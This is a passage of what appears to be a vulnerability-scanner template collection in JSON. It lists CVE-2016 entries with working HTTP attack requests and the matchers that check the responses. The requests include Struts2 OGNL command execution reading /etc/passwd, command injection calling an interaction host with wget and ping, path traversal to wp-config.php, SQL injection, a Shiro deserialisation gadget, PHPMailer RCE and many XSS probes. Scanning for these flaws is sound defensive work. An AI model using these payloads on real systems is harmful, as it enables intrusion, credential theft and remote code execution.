/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-7552","info":{"name":"Trend Micro Threat Discovery Appliance 2.6.1062r1 - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/logoff.cgi"],"headers":{"Cookie":"session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Memory map"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-8527","info":{"name":"Aruba Airwave <8.2.3.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/visualrf/group_list.xml?aps=1&start=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&end=500&match"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1555","info":{"name":"NETGEAR WNAP320 Access Point Firmware - Remote Command Injection","severity":"critical"},"requests":[{"raw":["POST /boardDataWW.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nmacAddress=112233445566%3Bwget+http%3A%2F%2F{{interactsh-url}}%23®info=0&writeData=Submit\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2016-1000140","info":{"name":"WordPress New Year Firework <=1.1.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/new-year-firework/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["New Year Firework ="]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/new-year-firework/firework/index.php?text=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10940","info":{"name":"WordPress zm-gallery plugin 1.0 SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7422)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7421)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_1 == 302 && status_code_2 == 200 && status_code_3 == 200","contains(body_2, \"[zm_gallery id=\")","contains(body_2, \"\")","!contains(body_3, \"\")"],"condition":"and"}]}]},{"id":"CVE-2016-5649","info":{"name":"NETGEAR DGN2200 / DGND3700 - Admin Password Disclosure","severity":"critical"},"requests":[{"raw":["GET /BSW_cxttongr.htm HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Smart Wizard Result "]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"password","group":1,"regex":["Success \"([a-z]+)\""],"part":"body"}]}]},{"id":"CVE-2016-7981","info":{"name":"SPIP <3.1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-5674","info":{"name":"NUUO NVR camera `debugging_center_utils_.php` - Command Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20id","{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20ipconfig"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"dsl","dsl":["status_code_1 == 200","contains(body_1, 'Debugging Center')","regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body_1)"],"condition":"and"},{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, 'Debugging Center')","contains(body_2, 'Windows IP')"],"condition":"and"}]}]},{"id":"CVE-2016-1000149","info":{"name":"WordPress Simpel Reserveren <=3.5.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/simpel-reserveren/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Simpel Reserveren","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/simpel-reserveren/edit.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10134","info":{"name":"Zabbix - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)::"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Error in query [INSERT INTO profiles (profileid, userid","You have an error in your SQL syntax"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000127","info":{"name":"WordPress AJAX Random Post <=2.00 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/ajax-random-post/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Ajax Random Post"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/ajax-random-post/js.php?interval=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10368","info":{"name":"Opsview Monitor Pro - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlogin_username={{username}}&login_password={{password}}&login=&back=//www.interact.sh&app=OPSVIEW\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2016-1000153","info":{"name":"WordPress Tidio Gallery <=1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/tidio-gallery/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Tidio Gallery","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/tidio-gallery/popup-insert-help.php?galleryId=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10973","info":{"name":"Brafton WordPress Plugin < 3.4.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=BraftonArticleLoader&tab=alert%28document.domain%29 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"tab = alert(document.domain);\")","contains(body_2, \"Brafton Article Loader\")"],"condition":"and"}]}]},{"id":"CVE-2016-1000128","info":{"name":"WordPress anti-plagiarism <=3.60 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/anti-plagiarism/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["anti plagiarism","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/anti-plagiarism/js.php?m=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000137","info":{"name":"WordPress Hero Maps Pro 2.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/hero-maps-pro/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Hero Maps Pro ="]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/hero-maps-pro/views/dashboard/index.php?v=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10993","info":{"name":"ScoreMe Theme - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["/wp-content/themes/scoreme/style"]}]},{"method":"GET","path":["{{BaseURL}}/?s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10960","info":{"name":"WordPress wSecure Lite < 2.4 - Remote Code Execution","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/wp-content/plugins/wsecure/wsecure-config.php"],"body":"wsecure_action=update&publish=\";} header(\"{{name}}: CVE-2016-10960\"); class WSecureConfig2 {var $test=\"","matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["{{name}}: CVE-2016-10960"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-6195","info":{"name":"vBulletin <= 4.2.3 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27","{{BaseURL}}/boards/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27","{{BaseURL}}/board/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27","{{BaseURL}}/forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27","{{BaseURL}}/forums/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27","{{BaseURL}}/vb/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27"],"stop-at-first-match":true,"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["type=dberror"]},{"type":"status","status":[200,503],"condition":"or"}]}]},{"id":"CVE-2016-10367","info":{"name":"Opsview Monitor Pro - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/monitoring/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2016-10033","info":{"name":"WordPress PHPMailer < 5.2.18 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /?author=1 HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\n\n","POST /wp-login.php?action=lostpassword HTTP/1.1\nHost: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nwp-submit=Get+New+Password&redirect_to=&user_login={{username}}\n\n"],"unsafe":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["wp-login.php?checkemail=confirm"]},{"type":"status","status":[302]}],"extractors":[{"type":"regex","name":"username","group":1,"regex":["Author:(?:[A-Za-z0-9 -\\_=\"]+)?([A-Za-z0-9]+)<\\/span>"],"internal":true,"part":"body"}]}]},{"id":"CVE-2016-1000126","info":{"name":"WordPress Admin Font Editor <=1.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/admin-font-editor/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Admin Font Editor"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/admin-font-editor/css.php?size=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-3978","info":{"name":"Fortinet FortiOS - Open Redirect/Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login?redir=http://www.interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2016-1000134","info":{"name":"WordPress HDW Video Gallery <=1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/hdw-tube/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["HDW WordPress Video Gallery"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/hdw-tube/playlist.php?playlist=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000129","info":{"name":"WordPress defa-online-image-protector <=3.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/defa-online-image-protector/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Defa Online Image Protector"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/defa-online-image-protector/redirect.php?r=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-4437","info":{"name":"Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: rememberMe={{base64(concat(base64_decode(\"QUVTL0NCQy9QS0NTNVBhZA==\"),aes_cbc(base64_decode(generate_java_gadget(\"dns\", \"http://{{interactsh-url}}\", \"base64\")), base64_decode(\"kPH+bIxk5D2deZiIxcaaaA==\"), base64_decode(\"QUVTL0NCQy9QS0NTNVBhZA==\"))))}}\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]}]}]},{"id":"CVE-2016-1000138","info":{"name":"WordPress Admin Font Editor <=1.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/indexisto/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["= Indexisto"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/indexisto/assets/js/indexisto-inject.php?indexisto_index=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10108","info":{"name":"Western Digital MyCloud NAS - Command Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nCookie: isAdmin=1; username=admin|echo%20`ping -c 3 {{interactsh-url}}`; local_login=1\n"],"matchers":[{"type":"dsl","dsl":["contains(body, \"WDMyCloud\")","contains(interactsh_protocol, \"dns\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2016-1000142","info":{"name":"WordPress MW Font Changer <=4.2.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/parsi-font/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["WP-Parsi Admin Font Editor","MW Font Changer"],"condition":"or"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/parsi-font/css.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000132","info":{"name":"WordPress enhanced-tooltipglossary 3.2.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/enhanced-tooltipglossary/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["CM Tooltip Glossary"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/enhanced-tooltipglossary/backend/views/admin_importexport.php?itemsnumber=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&msg=imported"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-6277","info":{"name":"NETGEAR Routers - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/;cat$IFS/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-4977","info":{"name":"Spring Security OAuth2 Remote Command Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Unsupported response types: [978015547]"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2016-1000148","info":{"name":"WordPress S3 Video <=0.983 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/s3-video/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["S3 Video Plugin ="]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/s3-video/views/video-management/preview_video.php?media=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<\""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000135","info":{"name":"WordPress HDW Video Gallery <=1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/hdw-tube/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["HDW WordPress Video Gallery"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/hdw-tube/mychannel.php?channel=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-7834","info":{"name":"Sony IPELA Engine IP Camera - Hardcoded Account","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/command/prima-factory.cgi"],"headers":{"Authorization":"Bearer cHJpbWFuYTpwcmltYW5h"},"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["gen5th","gen6th"],"condition":"or"},{"type":"status","status":[204]}]}]},{"id":"CVE-2016-10924","info":{"name":"Wordpress Zedna eBook download <1.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000131","info":{"name":"WordPress e-search <=1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/e-search/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Search","Tags:","Tested up to:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/e-search/tmpl/title_az.php?title_az=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-2389","info":{"name":"SAP xMII 15.0 for SAP NetWeaver 7.4 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000133","info":{"name":"WordPress forget-about-shortcode-buttons 1.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/forget-about-shortcode-buttons/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Forget About Shortcode Buttons ="]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/forget-about-shortcode-buttons/assets/js/fasc-buttons/popup.php?source=1&ver=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-4975","info":{"name":"Apache mod_userdir CRLF injection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Set-Cookie\\s*?:(?:\\s*?|.*?;\\s*?))(crlfinjection=crlfinjection)(?:\\s*?)(?:$|;)"]}]}]},{"id":"CVE-2016-1000143","info":{"name":"WordPress Photoxhibit 2.1.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/photoxhibit/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["PhotoXhibit","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/photoxhibit/common/inc/pages/build.php?gid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000152","info":{"name":"WordPress Tidio-form <=1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/tidio-form/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Easy Contact Form Builder ="]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/tidio-form/popup-insert-help.php?formId=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-6601","info":{"name":"ZOHO WebNMS Framework <5.2 SP1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/servlets/FetchFile?fileName=../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-0957","info":{"name":"Adobe AEM Dispatcher <4.15 - Rules Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/system/console?.css"],"headers":{"Authorization":"Basic YWRtaW46YWRtaW4K"},"matchers-condition":"and","matchers":[{"type":"word","words":["Adobe","java.lang","(Runtime)"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000136","info":{"name":"WordPress heat-trackr 1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers":[{"type":"word","internal":true,"words":["/wp-content/plugins/heat-trackr/"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/heat-trackr/heat-trackr_abtest_add.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-3088","info":{"name":"Apache ActiveMQ Fileserver - Arbitrary File Write","severity":"critical"},"requests":[{"raw":["PUT /fileserver/{{randstr}}.txt HTTP/1.1\nHost: {{Hostname}}\n\n{{rand1}}\n","GET /fileserver/{{randstr}}.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_1==204","status_code_2==200","contains((body_2), '{{rand1}}')"],"condition":"and"}]}]},{"id":"CVE-2016-1000139","info":{"name":"WordPress Infusionsoft Gravity Forms <=1.5.11 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/infusionsoft/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Infusionsoft","Tags:"],"condition":"and","case-insensitive":true}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/infusionsoft/Infusionsoft/examples/leadscoring.php?ContactId=%22%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E%3C%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"><\"","input type=\"text\" name=\"ContactId\""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000154","info":{"name":"WordPress WHIZZ <=1.0.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/whizz/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["WHIZZ","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/whizz/plugins/delete-plugin.php?plugin=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000155","info":{"name":"WordPress WPSOLR <=8.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/wpsolr-search-engine/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["WPSOLR Search Engine 